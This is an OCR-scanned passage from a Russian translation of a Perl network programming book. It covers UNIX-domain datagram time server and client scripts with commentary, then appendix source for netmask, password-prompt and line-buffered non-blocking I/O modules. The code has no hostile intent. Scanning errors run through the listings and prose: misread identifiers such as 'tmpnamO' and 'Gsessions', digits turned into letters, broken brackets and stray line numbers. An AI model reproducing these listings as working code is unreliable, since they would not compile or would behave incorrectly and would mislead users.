20: }
21: send($sock,scalar localtime,0,$peer) || warn "Couldn't send: $!";
22: }
23: END { unlink $path if $path }
Глава 22. Сонеты домена UNIX
651
Проведем анализ программы.
• Строки 1-6. Настройка сервера. Выполняется загрузка модуля io::Socket, и для сокета
выбирается полное имя, применяемое по умолчанию. Затем из командной строки считывается
иное значение полного имени сокета, если пользователь желает его изменить.
• Строка 7. Установка обработчиков term и int. Как и в примере с установлением логического
соединения, необходимо удалить файл сокета перед завершением работы. В описанном выше
примере для этого было предусмотрено удаление файла а обработчиках сигналов term и int.
Для разнообразия в данном примере то же действие будет выполнено путем определения блока
end {), в котором предусмотрено уничтожение файла с этим полным именем перед
завершением работы сценария. Однако для предотвращения преждевременного завершения работы
сценария все раано необходимо установить обработчик прерывания, который перехватывает
сигналы term и int и вызывает функцию exit () для обеспечения корректного зввершения процесса.
• Строки 8-12. Создание сокета. Устанавливается значение umask, равное 0111, для того
чтобы сокет был доступен для записи всем пользователям, и вызывается метод
Ю:: Socket::UNix->new() для создания сокета и привязки его к указанному полному имени.
В отличие от предыдущего примера, где было разрешено создать сокет с установлением
логического соединения в соответствии с опциями, применяемыми в модуле Ю:: Socket:: UNIX
по умолчанию, здесь методу new () передается параметр туре со значением sock_dgram.
Поскольку это — сокет, ориентированный на работу с сообщениями, параметр Listen не
предоставляется.
• Строки 13-22. Цикл выполнения транзакций. Сценарий входит в бесконечный цикл. При
каждом проходе по циклу вызывается функция recv() для возврата сообщения, длиной до 128
байт (именно такую максимальную длину может иметь строка с обозначением часового пояса).
Значение, возвращенное функцией recv (), представляет собой полное имя сокета другого
участника соединения.
Выполняется проверка содержимого сообщения, и если его формат совместим со
спецификатором часового пояса, полученное значение используется для установки переменной среды
tz, которая содержит текущее значение часового пояса. В ином случве эта переменная
удаляется, в результате чего интерпретатор Perl принимает по умолчанию значение местного
часового пояса.
Теперь с помощью полного имени второго участника обмена данными вызывается функция
send () для передачи ему (участнику) дейтаграммы, содержащей результаты вызова функции
locaitime (). Если по некоторым причинам функция send () возвращает ложное значение,
программа выдает предупреждающее сообщение.
• Строка 23. Блок end {}. Данный блок сценария выполняет уничтожение файла сокета, если
переменная $path не пуста.
Клиент службы времени домена UNIX
Клиент, предназначенный для работы с описанным выше сервером службы
времени, приведен в листинге 22.4.
Листинг 22.4. Клиент службы времени local time_cli .pl_
0; v #!/usr/bin/perl iwiiv ■ ' ■" ' »>'
1: ■ # Файл: localtiroe_cli.pl ° >'
2: use IO::Socket;
3: use POSIX 'tmpnam';
4: use Getopt::Long;
5: use constant SOCKJPATH => ■/tmp/localtime';
6: use constant TIMEOUT => 1;
652
Часть IV. Дополнительные темы
7
8
9
10
20
21
22
23
24
25
26
my $path;
GetOptions("path=s" => \$path);
$path | | = SOCK_J>ATH;
my $local = tmpnamO;
11: $SIG{TERM} = $SIG{INT) = sub { exit 0 };
12: # Установить значение umask для предоставления права на
# запись всем пользователям
13: umask(0111);
14: my $sock = IO::Socket::UNIX->new( Type => SOCK_DGRAM,
15: Local => $local,
16: ) or die "Socket: $!";
17: my $timezone = shift II ' *;
18: my $peer = sockaddr_un($path);
19: send($sock,$timezone,0,$peer) or die "Couldn't send(): $!";
my $data;
eval {
local $SIG{ALRM} = sub { die *'timeout\n" };
alarm(TIMEOUT);
recv($sock,$data,128,0) or die "Couldn't recv(): $!";
alarm(O);
} or die "Couldn't get response: $@";
27: print $data,"\n";
28: END { unlink $local if $local }
Проведем анализ программы.
Строки 1-4. Загрузка модулей. Загружаются модули Ю:: Socket и Getopt: :Long.
Предусматривается также вызов функции tmpnamO из модуля posix. Эта удобная процедура
позволяет выбрать уникальные имена для временных файлов; она используется для выработки
полного имени файла локального сокета.
Строки 5, 5. Константы. Определяется константа, содержащая применяемое по умолчанию
полное имя сокета сервера, и значение timeout, содержащее максимальное значение
времени, в течение которого будет происходить ожидвние ответа от сервера.
Строки 7-10. Выбор полных имен для локального и удаленного сокетов. Выполняется
обработка опций командной строки для поиска параметра —path. Если этот параметр не
определен, для сокета сервера применяется по умолчанию такое же полное имя, какое
используется сервером.
Необходимо также уквзать полное имя для локального сокета, чтобы сервер мог отправить
клиенту ответное сообщение, но не следует жестко кодировать его (полное имя), поскольку
другой пользователь может пожелать вызвать эту клиентскую прогрвмму на выполнение в то
же время. Вместо жесткого кодирования вызывается метод posix : :tmpnam() для получения
уникального временного имени файла для локального сокетв.
Строка 11. Обработчики сигналов. Уничтожение локального файла сокета, как и в серверном
сценарии, выполняется в блоке end {). По этой причине перехватываются сигналы int и term.
Строки 12-15. Создание сокета. Как и прежде, устанавливается значение umask и
вызывается метод Ю: :Socket::UNix->new() для создания сокета с предоставлением вму
параметров Local и туре, что позволяет создать сокет sock_dgram, привязанный к временному
полному имени, возвращенному функцией tmpnam().
Глава 22. Сокеты домена UNIX
653
• Строки 17,18. Подготовка к передаче запроса. Из командной строки выбирается требуемый
часовой пояс Если он не указан, создается сообщение, состоящее из одного пробела (для
того чтобы сервер мог ответить на сообщение, он должен получить хотя бы один байт данных).
Для создания допустимого адреса назначения, предназначенного для использования в
функции send (), применяется функция sockaddr_un ().
• Строки 19-27. Отправка запроса и получение ответа. Вызывается функция send () для
отправки на сервер сообщения, содержащего требуемое значение часового пояса или
состоящего из одного пробела.
Теперь можно было бы вызвать функцию recv() для получения ответа от сервера, но пока не
известно, принимает ли сервер запросы. Поэтому, вместо непосредственного вызова функции
recv () и перехода в состояние ожидания ответа на неопределенное время, вызов этой
функции заключен в блок eval () с использованием метода, показанного в главе 5. После входа
в блок eval {) устанавливается обработчик сигнала ALRM, который вызывает функцию
die (). Затем определяется тайм-аут тревожного сигнала на timeout секунд с
использованием функции alarm() и вызывается функция recv(). Если функция recv() возвращает
управление до истечения тайм-аута, выводятся полученные данные. В ином случае
вызывается функция die () с сообщением об ошибке.
• Строка 28. Блок end {}. Как и в сервере, перед завершением работы уничтожается
локальный сокет.
Чтобы проверить работу механизма тайм-аута клиента, запустите сервер и сразу
же приостановите его работу с использованием клавиши приостановки (<Ctrl+Z>
в системах UNIX). После отправки клиентом запроса на сервер, он не получит ответа
и выдаст сообщение об ошибке, связанное с завершением работы по тайм-ауту.
Резюме
Сокеты домена UNIX могут применяться для взаимодействия двух или более
процессов на одном хосте. Вместо применения для обозначения "пунктов встречи"
IP-адресов и номеров портов, в сокетах домена UNIX для этого используются полные
имена файлов в локальной файловой системе. Это позволяет управлять доступом
к серверу с использованием механизмов контроля доступа к файлу, но приводит к
усложнению кода сервера, поскольку в нем должно быть предусмотрено уничтожение
файла после закрытия сокета.
По сравнению с сокетами домена INET (сокетами TCP/IP), сокеты домена UNIX
обеспечивают более высокую эффективность межпроцессной связи и надежную
защиту от "нападений" из сети. Однако важным недостатком сокетов домена UNIX
является то, что они не реализованы в таких широких масштабах, как сокеты TCP/IP.
654
Часть IV. Дополнительные темы
Приложение |~А~|
Дополнительный
исходный код
В настоящем приложении приведен дополнительный исходный код,
упомянутый в книге.
Модуль Net::NetmaskLite (глава 3)
Этот модуль содержит утилиты для работы с различными масками сети, в том
числе не оканчивающимися на границе байта. Он позволяет легко определить
значения широковещательного и сетевого адресов, соответствующие любому
сочетанию маски сети и IP-адреса. Изучите методы hostpart (), netpart (), network ()
и broadcastO, чтобы понять, как связаны между собой соответствующие части
IP-адреса и маска сети.
Модуль Net: :Netmask Дэвида Шарноффа (David Sharnoff), который может быть
получен из архива CPAN, предоставляет более развитые функциональные средства
и рекомендуется для использования на производстве.
0: package Net::NetmaskLite;
1: # Файл: Net/NetmaskLite.pm;
2
3
4
5
6
7
8
9
10
11
12
use strict;
use Carp 'croak';
use overload "*"'=>netmask;
sub new {
my $pack = shift;
my $mask = shift or croak "Usage:
Netmask->new(\$dotted_IP_addr) \n";
my $num = ($mask =~ /^\d+$/ && $mask <= 32)
? _tomask($mask)
: _tonum($mask) ;
bless \$num,$pack;
}
13: sub hostpart {
14: my $mask = shift;
Приложение А. Дополнительный исходный код
655
my $addr = tonum(shift) or
croak "Usage: \$netmask->hostpart(\$dotted_IP_addr)\n";
_toaddr($addr & ~$$mask);
}
sub netpart{
my $mask = shift;
my $addr = tonum{shift) or
croak "Usage: \$netmask->hostpart(\$dotted_IP_addr)\n";
_toaddr($addr & $$mask);
}
sub broadcast {
my $mask = shift;
my $addr = tonum(shift) or
croak "Usage: \$netmask->hostpart(\$dotted_IP_addr)\n";
_toaddr($addr | ($$mask л Oxffffffff));
}
sub network (
my $mask = shift;
my $addr = tonum(shift) or
croak "Usage: \$netmask->hostpart(\$dotted_IP_addr)\n";
_toaddr($addr & ($$mask & Oxffffffff));
}
sub netmask { _toaddr(${shift()}); }
# Утилиты
sub _tomask (
my $ones = shift;
unpack "L",pack "b*",('1' x $ones) . ('0' x (32-$ones));
}
sub _tonum { unpack "L",pack("C4", split /\./,shift) )
sub _toaddr { join '.'.unpack("C4",pack("L", shift)) }
1;
END
=headl NAME
Net::NetmaskLite - утилита для работы с IP-адресом и
маской сети
=headl SYNOPSIS
use Net::NetmaskLite;
$mask = Net: :NetmaskLite->newC255.255.255.248') ;
$broadcast = $mask->broadcast (' 64 .7 . 3. 42') ."
$network = $mask->network(•64.7.3.42');
$hostpart = $mask->hostpart(,64.7.3.42') ;
$netpart = $mask->netpart(* 64.7.3.42');
=headl DESCRIPTION
Часть IV. Дополнительные темы
54: Этот пакет предоставляет доступ к объекту, который может
55: применяться для определения значений широковещательного и
56: сетевого адресов по маске сети Internet.
57: =headl CONSTRUCTOR
58: =over 4
59: =item $mask = Net::NetmaskLite->new($mask)
60: Конструктор new() создает новую маску сети. Параметр
61: C<$mask> обозначает требуемую маску сети. Для обозначения
62: маски сети может применяться формат в виде четырех чисел,
63: разделенных точками (например, 255.255.255.0), или формат, который
64: обозначает число битов в маске (например, 24).
65: Конструктор возвращает объект Net::NetmaskLite, который
66: может применяться для выполнения дальнейших действий.
67: =back
68: =headl METHODS
69: =over 4
70: =item $bcast = $mask->broadcast($addr)
71: Метод broadcast() принимает IP-адрес в виде четырех
72: чисел, разделенных точками, и возвращает соответствующий
73: ему широковещательный адрес также в виде четырех чисел,
7 4: разделенных точками.
75: =item $network = $mask->network($addr)
76: Метод network() принимает IP-адрес в виде четырех чисел,
77: разделенных точками, и возвращает сетевой адрес в виде
78: четырех чисел, разделенных точками.
79: =item $addr = $mask->hostpart($addr)
80: Метод hostpart() принимает IP-адрес в виде четырех чисел,
81: разделенных точками, и возвращает часть адреса хоста в
82: виде четырех чисел, разделенных точками.
83: =item $addr = $mask->netpart($addr)
84: Метод netpartf) принимает IP-адрес в виде четырех чисел,
85: разделенных точками, и возвращает часть адреса сети в
86: виде четырех чисел, разделенных точками.
87: =item $addr = $mask->netmask
88: Этот метод просто возвращает исходную маску сети в виде
89: четырех чисел, разделенных точками. При вызове данного
90: объекта в строковом контексте оператор двойных кавычек
91: ("") перегружается для обеспечения вызова метода
92: netmask() .
Приложение А. Дополнительный исходный код
657
93: =back .,
94: =head2 Example:
95: После задания маски сети 255.255.255.248 и IP-адреса
96: 64.7.3.42 метод возвращает следующие значения:
97: netmask: 255.255.255.248
98: broadcast: 64.7.3.47
99: network: 64.7.3.40
100: hostpart: 0.0.0.2
101: netpart: 64.7.3.40
102: =headl SEE ALSO
103: L<Socket>
104: L<perl>
105: =headl AUTHOR
106: Lincoln Stein <lstein@cshl.org>
107: =headl COPYRIGHT
108: Авторские права (с) 2000 Линкольн Штайн. Все права
109: зарезервированы. Эта программа является бесплатным
110: программным обеспечением; права на ее распространение
111: и/или доработку предоставляются на тех же условиях, что и
112: аналогичные права на интерпретатор Perl.
113: =cut
Модуль PromptUtiLpm (главы 8 и 9)
Модуль PromptUtil.pm предоставляет основные функциональные средства
создания приглашений, которые позволяют пользователю вводить пароли и команды.
Более развитым пакетом утилит для создания приглашений к вводу данных является
модуль Term:: Prompt, который может быть получен из архива CPAN.
Этот модуль экспортирует две функции. Функция get_passwd() запрашивает
у пользователя пароль, выключая эхо-повтор, чтобы ответ пользователя не
отображался на экране. Если в вызове этой функции указаны имя пользователя и хост, то
приглашение включает данную информацию (такая возможность применяется при
регистрации в конкретной учетной записи на удаленном хосте).
Функция prompt () принимает в качестве параметров текст приглашения и
значение, возвращаемое по умолчанию, если пользователь не вводит никаких данных.
Пользователю выдается запрос, содержащий заданное приглашение, и функция
возвращает его ответ. Как частный случай, предусмотрена проверка этой функцией
ответа "q", который указывает, что пользователь желает немедленно завершить работу.
В функции echo () применяется один из двух методов запрета эхо-повтора. Если
установлен модуль Term:: ReadKey, то используется импортируемая функция
ReadMode (). В ином случае вызывается программа stty работы с командной строкой
UNIX для выборки текущих установок терминала, а затем stty вызывается снова для
658
Часть IV. Дополнительные теми
запрета эхо-повтора. В дальнейшем, после получения функцией echo () указания
разрешить эхо-повтор терминала, программа s tty восстанавливает установки терминала.
0: package PromptUtil;
1: # Файл: PromptUtil.pm
use strict;
require Exporter;
eval "use Term::ReadKey";
use vars 'GEXPORT•,* GISA';
GEXPORT = qw(get_passwd prompt);
@ISA = "Exporter";
8: my $stty_settings; # Сохранить старые установки TTY
sub get_passwd {
my ($user,$host) = @_;
print STDERR "$user\@$host "
if $user Б& $host;
print STDERR "password: ";
echo ("off");
chomp(my $pass = <>);
echo ('on');
print STDERR "\n";
$pass;
}
# Вывести приглашение
sub prompt {
local($|) = 1;
my $prompt = shift;
my $default = shift;
print "$prompt ("q" to quit) [$default]: ";
chomp(my $response = <>);
exit 0 if $response eq "q";
return $response I I $default;
>
sub echo {
my $mode = shift;
if (defined SReadMode) {
ReadModef $mode eq 'off ? "noecho" : 'restore' );
} else {
if ($mode eq 'off') {
chomp($stty_settings = Vusr/bin/stty -g~);
system "/usr/bin/stty -echo </dev/tty";
} else (
$stty_settings — /Л([:\da-fA-F]+)$/;
system "/usr/bin/stty $1 </-dev/tty";
}
}
}
44: 1;
45: =headl NAME
Приложение А. Дополнительный исходный код
659
46: PromptUtil - Утилиты создания приглашения
47: =headl SYNOPSIS
48: use PromptUtil;
49: my $response = prompt('<n>ext, <p>revious, or <e>dit','n');
50: my $pass = get_passwd();
51: =headl DESCRIPTION
52: Этот пакет экспортирует две утилиты, которые могут
53: применяться для выдачи приглашений к вводу информации
5 4: поль зователем.
55: =headl EXPORTED FUNCTIONS
56: =over 4
57: =item $result = prompt($prompt,$default)
58: Выводит заданное приглашение C<$prompt> и выдает
59: приглашение к вводу строки. Если пользователь вводит "q"
60: или "quit", возвращает ложное значение. В ином случае
61: возвращает введенную строку (без символов обозначения
62: конца строки). Если пользователь нажимает клавишу <Enter>,
63: не введя никаких данных, возвращает значение по
64: умолчанию, указанное параметром C<$default>.
65: =item $password = get_passwd([$user, $host])
66: Отключает эхо-повтор терминала и выдает пользователю
67: приглашение ввести пароль. Если заданы параметры C<$user>
68: и C<$host>, приглашение имеет формат:
69: jdoe@host.domain password:
70: В ином случае приглашение имеет вид:
71: password:
72: Функция возвращает пароль или значение undef, если
73: пользователь нажал клавишу <Enter> без ввода пароля.
74: =back
75: Если функция get_passwd () обнаруживает, что доступен
76: модуль Term::ReadKey, она предпринимает попытку его
77: использовать. В ином случае функция вызывает программу
78: stty Unix, которая не применяется в системах, отличных от
79: Unix.
80: =headl SEE ALSO
81: L<Term::ReadKey>, L<perl>
82: =headl AUTHOR
660
Часть IV. Дополнительные темы
83: Lincoln Stein <lstein@cshl.org>
84: =headl COPYRIGHT
85
86
87
88
89
Авторские права (с) 2000 Линкольн Штайн. Все права
зарезервированы. Эта программа является бесплатным
программным обеспечением; права на ее распространение
и/или доработку предоставляются на тех же условиях, что и
аналогичные права на интерпретатор Perl.
90: =cut
Модуль IO::LineBufferedSet (глава 13)
Этот модуль применяется в сочетании с модулем
10: :LineBufferedSessionData для обеспечения построчного чтения в
неблокирующих мультиплексных приложениях. Модуль 10: :LineBufferedSet наследует
свои методы от модуля 10: : SessionSet, который описан в главе 13.
0: package IO::LineBufferedSet;
1: # Файл: IO/LineBufferedSet.pm
use strict;
use Carp;
use IO::SessionSet;
use IO::LineBufferedSessionData;
use vars 'GISA','$VERSION';
7: @ISA = 'IO::SessionSet';
8: $VERSION = '1.00';
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Перекрыть класс SessionDataClass для обеспечения
# создания объекта IO::LineBufferedSessionData, а не
# IO::SessionData.
sub SessionDataClass { return 'IO::LineBufferedSessionData'; }
# Перекрыть метод wait(), чтобы он при обнаружении
# сеансов с неотправленными данными немедленно выполнял
# возврат.
sub wait {
my $self = shift;
# Вначале проверить наличие буферизованных данных,
# которые не были отправлены в прошлый раз
my Gsessions = grep {$_->has_buffered_data} $self->sessions;
return Gsessions if Gsessions;
return $self->SUPER: : wait; (@_) ;
} ' . "
24: 1;
25: =headl NAME
26: IO::LineBufferedSet - класс, предназначенный для
27: выполнения неблокирующего построчного ввода-вывода
Приложение А. Дополнительный исходный код
661
28:
=headl SYNOPSIS
29: use 10::LineBufferedSet;
30: my $set = IO::LineBufferedSet->new();
31: $set->add($_) foreach ($handlel,$handle2,$handle3);
32: my $line;
33: while ($set->sessions) (
34: my Gready = $set->wait;
35: for my $h (Gready) {
36: unless (my $bytes = $h->getline($line)) { # Чтение
37: # строки
38: $h->close; # Признак конца файла EOF или ошибка
39: next;
40: }
41: next unless $bytes > 0; # Пропустить строку
42: # нулевой длины
43: my $result = process_data($line); # Выполнить
44: # обработку строки
45: $line->write($result); # Записать результаты
46: # в дескриптор
47: }
48: }
49: =headl DESCRIPTION
50: Этот пакет предоставляет поддержку наборов неблокирующих
51: дескрипторов для использования в мультиплексных
52: приложениях.
53: =headl CONSTRUCTOR
54: =over 4
55: =item $set = IO: :LineBufferedSet->new([$listen_sock])
56: 'Метод new() создает новый объект IO::LineBufferedSet.
57: Если параметром C<$listen_sock> задан объект приемного
58: сокета IO::Socket, то метод wait() (см. ниже)
59: вызывает для этого сокета метод accept() при получении
60: каждого входящего запроса на установление соединения и к
61: контролируемому набору добавляется подключенный сокет.
62: =back
63: =headl OBJECT METHODS
64: =over 4
65: =item $result = $set->add($handle [,$writeonly])
66: Метод add() добавляет дескриптор, указанный параметром
67: C<$handle>, к набору контролируемых дескрипторов. Он
68: принимает обычный дескриптор файла или объект IO::Handle
69: (в том числе объект IO::Socket). Дескриптор переводится в
70: неблокирующий режим и заключается в оболочку объекта
662
Часть IV. Дополнительные темы
71: IO::LineBufferedSessionData, который после этого
72: именуется "сеансом".
73
74
75
76
80
81
82
83
85
86
87
88
90
91
92
93
94
95
96
97
98
99
104
105
106
Необязательный параметр C<$writeonly> представляет собой
флажок, который указывает, что дескриптор файла
предназначен только для записи. Он может применяться при
добавлении таких дескрипторов, как STDOUT.
77: В случае успешного выполнения метод add() возвращает
78: истинный результат.
79: =item Gsessions = $set->sessions
Метод sessions() возвращает список объектов
IO::LineBufferedSessionData, каждый из которых
соответствует дескриптору, добавленному вручную с помощью
метода add() или автоматически с помощью метода wait().
84: =item $result = $set->delete($handle)
Этот метод удаляет указанный дескриптор из
контролируемого набора. В качестве параметра его вызова
может быть указан сам дескриптор или соответствующий
объект IO::LineBufferedSessionData.
89: =item Gready = $set->wait([$timeout])
Метод wait() возвращает список объектов
IO::LineBufferedSessionData, готовых для чтения. В
процессе работы метод wait() вызывает метод accept О с
приемным сокетом, если таковой был предоставлен методу
new(), и пытается завершить все операции записи, не
выполненные в сеансах. Если задан параметр $timeout,
метод по истечении указанного тайм-аута возвращает пустой
список, не обнаружив ни одного сеанса, готового для
чтения. Если же зтот параметр задан, метод блокируется на
неопределенное время.
100: Сеансы всегда готовы для записи, так как они находятся в
101: неблокирующем режиме записи.
102: =back
103: =headl SEE ALSO
L<10::LineBufferedSessionData>, L<IO::SessionData>,
L<IO::SessionSet>,
L<perl>
107: =headl AUTHOR
108: Lincoln Stein <lstein@cshl.org>
109: =headl COPYRIGHT
110: Авторские права (с) 2000 Линкольн Штайн. Все права
111: зарезервированы. Эта программа является бесплатным
112: программным обеспечением; права на ее распространение
Приложение А. Дополнительный исходный код
663
113: и/или доработку предоставляются на тех же условиях, что и
114: аналогичные права на интерпретатор Perl.
115: =cut
Модуль IO::LineBufferedSessionData
(глава 13)
Этот модуль применяется в сочетании с модулем 10: :LineBufferedSet для
обеспечения построчного чтения в неблокирующих мультиплексных приложениях.
Модуль IO: :LineBufferedSessionData наследует свои методы от модуля
IO: :LineBuf feredSet, который описан в главе 13.
0: package IO::LineBufferedSessionData;
1: # Файл: IO/LineBufferedSessionData.pm
use strict;
use Carp;
use IO::SessionData;
use Errno 'EWOULDBLOCK';
use IO::SessionData;
use IO::LineBufferedSet;
use vars '@ISA','$VERSION';
0ISA = 'IO::SessionData';
$VERSION = 1.00;
use constant BUFSIZE => 3000;
# Перекрыть метод new(), введя новые переменные
# экземпляра
sub new {
my $pack = shift;
my $self = $pack->SUPER::new(@_);
@{$self}{qw(read_limit inbuffer linemode index eof error)} =
(BUFSIZE, ",0,0,0, 0) ;
return $self;
}
# Переменная line_mode устанавливается равной истинному
# значению, если пакет обнаруживает, что выполняется
# построчный ввод. Значение этой переменной может быть
# также установлено непосредственно,
sub line_mode {
my $self = shift; ;
return defined $_[0] ? $self->{linemode} = $_[0]
: $self->{linemode};
}
f
# Метод объекта: read_limit([$bufsize])
# Позволяет получить или установить значение предельного
# размера буфера чтения. Действие этого метода
# распространяется только на операции построчного чтения.
664
Чисть IV. Дополнительные темы
sub read_limit {
my $self = shift;
return defined $_[0] ? $self->{read_limit} = $_[0]
: $self->{read_limit};
}
# Три новых метода, которые позволяют определить наличие
# буферизованных данных.
sub buttered ii., { return Jength shift->{inbuffer} }
sub lines_pending {
my $self = shift;
return index($self->{inbuffer},$/,$self->(index}) >= 0;
}
sub has_buffered_data {
my $self = shift;
return $self->line_mode ? $self->lines_pending :
$self->buffered;
}
# Перекрыть метод read(), чтобы он мог применяться с
# буферизованными данными
sub read {
my $self = shift;
$self->line_mode(0); # Отключить режим
# построчного чтения
$self->{index} =0; # Снова установить равным
# нулю внутренний указатель
# символов конца строки
if ($self->buffered) { # Данные, записанные в буфер в
# результате предыдущего вызова
# метода getline
my $data = substr($self->{inbuffer},0, $_[1]);
substr($_[0], $_[2]||0, $_[!]) = $data;
substr($self->{inbuffer},0,$_[!]) = ";
return length $data;
}
# Если управление перешло в эту точку кода, должен
# выполняться унаследованный метод read()
return $self->SUPER::read(@_);
}
# Вернуть последнее сообщение об ошибке
sub error { $_[0]->{error} }
# $bytes = $reader->getline($data);
# В случае успешного выполнения возвращает число байтов
# В случае ошибки возвращает undef
# При обнаружении признака конца файла EOF возвращает О
# Если операция должна быть заблокирована, возвращает 0Е0
sub getline {
my $self = shift;
croak "usage: getline(\$scalar)\n" unless @_ == 1;
80: $self->l±ne_mode(l);# Включить режим построчного чтения
81: return unless my $handle = $self->handle;
Приложение А. Дополнительный исходный код
665
82: undef $_[0]; # Очистить скалярный параметр
83: # вызывающего оператора
# Если буфер ввода inbuffer пуст, то при выполнении
# предыдущего прохода по циклу возникла ошибка чтения и
# метод возвратил все, что находилось в буфере. Поэтому
# должно быть возвращено значение undef.
return 0 if $self->{eof};
return if $self->{error};
# Определить положение символов обозначения конца
# строки в буфере.
my $i = index($self->{inbuffer},$/, $self->{index});
# Если символы обозначения конца строки не обнаружены и
# буфер не содержит максимально допустимый объем
# считанных данных, то получить дополнительный объем
# данных.
if ($i < 0 and $self->buffered < $self->read_limit) {
$self->{index} = $self->buffered;
my $rc =
$self->SUPER::read($self->{inbuffer},BUFSIZE,$self->buffered);
unless (defined $rc) { # Возникла ошибка
return '0E0' if $! == EWOULDBLOCK; # Операция
# должна была быть заблокирована
$_[0] = $self->{buffer}; # Вернуть все
# полученные данные
$self->{error} = $!; # Запомнить, что
# произошло и вернуть
return length $_[0]; # значение длины
# полученных данных
}
elsif ($rc == 0) { # Обнаружен конец файла
$_[0] = $self->{buffer}; # Вернуть все
# полученные данные
$self->{eof}++; # Запомнить,
# что произошло
return length $_[0];
}
# Снова попытаться найти признак конца строки
$i = index($self->{inbuffer},$/,$self->{index});
}
# Если $i<0, то символы обозначения конца строки не
# обнаружены. Если объем данных, записанных в буфер,
# превышает предельное значение, вернуть все, что
# находится в буфере, вплоть до этого предела
if ($i < 0) {
if ($self->buffered > $self->read_limit) {
$i = $self->read_limit-l;
} else {
# В ином случае вернуть код ошибки, который
# означает, что "операция была бы заблокирована",
# установить индекс поиска на конец буфера, чтобы
# предотвратить повторное выполнение поиска
$self->{index} = $self->buffered;
666
Часть IV. Дополнительные темы
133: return "ОЕО";
134: }
135: }
136: # Удалить строку из входного буфера и переустановить
137: # индекс поиска
138: $_[0] = substr($self->{inbuffer},0,$i+l); # Сохранить
139: # строку и
140: substr($self->{inbuffer},0,$i+l) = "; # отсечь
141: # обозначение конца строки
142: $self->{index} = 0;
143: return length $_[0];
144: }
145: 1;
146: =headl NAME
147: IO::LineBufferedSessionData - модуль, который
148: обеспечивает неблокирующий буферизованный построчный
149: ввод-вывод
150: =headl SYNOPSIS
151: use 10::LineBufferedSet;
152: my $set = 10::LineBufferedSet->new();
153: $set->add($_) foreach ($handlel,$handle2,$handle3);
154: my $line;
155: while ($set->sessions) {
156: my Gready = $set->wait;
157: for my $h (Gready) {
158: unless (my $bytes = $h->getline($line)) { # Чтение
159: # строки
160: $h->close; # Признак
161: # конца файла EOF или ошибка
162: next;
163: }
164: next unless $bytes > 0; # Пропустить
165: # строку нулевой длины
166: my $result = process_data($line); # Выполнить
167: # обработку строки
168: $line->write($result); # Записать
169: # результаты в дескриптор
170: }
171: }
172: =headl DESCRIPTION
173: Этот пакет предоставляет возможность создания наборов
174: неблокирующих дескрипторов для использования в
175: мультиплексных приложениях. Он применяется вместе с
176: модулем 10::LineBufferedSet и наследует свои методы от
177: модуля 10::SessionData.
Приложение А. Дополнительный исходный код
667
178
179
180
181
188
189
190
191
192
193
194
195
196
197
198
200
201
202
203
204
205
206
207
208
209
211
212
213
214
215
216
217
218
219
220
Объект 10::LineBufferedSessionData, в дальнейшем для
простоты называемый "сеансом", поддерживает небольшое
подмножество методов IO: :Handle и может рассматриваться
как интеллектуальный неблокирующий дескриптор.
182: =headl CONSTRUCTOR
183: Конструктор new() обычно вызывается не пользовательским
184: приложением, а модулем IO::LineBufferedSet.
185: =headl OBJECT METHODS
186: =over 4
187: =item $bytes = $session->read($scalar, $maxbytes [,$offset]])
Метод read<) действует Подобно методу IO::Handle->read(),
считывая до C<$maxbytes> байтов в скалярную переменную,
указанную параметром C<$scalar>. Если представлен
параметр C<$offset>, то новые данные присоединяются к
переменной C<$scalar> в указанной позиций.
В случае успешного выполнения метод read() возвращает
число считанных байтов. В конце файла метод возвращает
численное значение 0. Если бы операция, выполняемая
методом read(), была заблокирована, метод возвращает
значение 0Е0 (нулевое, но истинное), а при возникновении
других ошибок возвращает значение undef.
199: Ниже показана общая схема действий в возможных ситуациях:
while (1) {
my $bytes = $session->read($data,1024);
die "I/O error: $!" unless defined $bytes; # Ошибка
last unless $bytes; # Конец
# файла, выйти из цикла
next unless $bytes > 0; # Операция
# была бы заблокирована
process_data($data); # В ином
# случае, все нормально
}
210: =item $bytes = $session->getline($scalar);
Этот метод имеет такую же семантику, как и метод read(),
за исключением того, что он возвращает целые строки с
учетом текущего значения С<$/>. Необходимо соблюдать
особую осторожность при получении кода результата 0Е0
(который указывает на то, что операция Была бы
заблокирована4), поскольку такая ситуация возникает каждый
раз при чтении неполной Строки. оя '■'•
В отличие от оператора о или функции getline(),
результат помещается в переменную C<$scalar>, а не
возвращается как результат выполнения функции.
221: =item $bytes = $session->write($scalar)
668
Часть IV. Дополнительные темы
Этот метод записывает содержимое переменной C<$scalar> во
внутренний буфер сеанса, откуда оно в конечном итоге
будет записано в дескриптор. Немедленно записывается
максимально возможный объем данных. Если нельзя записать
сразу все данные, остальные записываются в течение
одного или нескольких последующих вызовов метода wait О.
=item $result = $session->close()
Этот метод закрывает сеанс и удаляет его из списка
сеансов, контролируемых объектом IO::LineBufferedSet,
которому он принадлежит. Дескриптор может быть фактически
не закрыт до тех пор, пока не будут выполнены операции
записи всех данных, ждущих обработки.
В<Не вызывайте> сами метод close() дескриптора, поскольку
при этом могут быть потеряны незаписанные данные.
Код возврата указывает, был ли сеанс успешно закрыт.
Обратите внимание, что этот метод может вернуть истинное
значение при отложенном закрытии, и поэтому результаты
его выполнения не позволяют со всей уверенностью
утверждать, что завершение сеанса действительно было
успешным.
=item $limit = $session->write_limit([$limit]
Для предотвращения неограниченного роста исходящего
буфера записи можно вызвать метод write_limit(), который
позволяет установить предельное значение его размера.
Если число незаписанных байтов превысит зто значение, то
будет вызвана Кфункция запрета> для выполнения
определенных действий.
При вызове с одним параметром этот метод устанавливает
лимит записи. При вызове без параметров возвращает
текущее значение. Для отмены лимита в качестве параметра
вызова этого метода необходимо указать значение 0.
=item $coderef = $session->set_choke([$coderef])
Метод set_choke() позволяет получить или установить
Кфункцию запрета>, которая вызывается, когда размер
буфера записи превышает размер, установленный методом
write_limit(). При вызове с параметром, представляющим
собой ссылку на код, метод set_choke() устанавливает
функцию; в ином случае возвращает ее текущее значение.
При вызове функции запрета ей передаются два параметра,
которые состоят из объекта сеанса и флажка, указывающего,
должны ли быть операции записи запрещены или разрешены.
Функция должна выполнить все необходимые действия и
возврат. Заданное по умолчанию действие запрета
состоит в предотвращении дальнейшего чтения в сеансе
(путем вызова метода readable() с ложным значением) до
тех пор, пока размер буфера записи не будет иметь
допустимое значение.
Приложение А. Дополнительный исходный код
269
270
271
273
274
275
276
277
279
280
281
282
283
286
287
288
292
293
294
295
296
Обратите внимание, что запрет ввода в сеансе не оказывает
влияния на метод write(), который может по-прежнему
добавлять данные в буфер.
272: =item $session->readable($flag)
Этот метод позволяет отметить в наборе сеансов, что
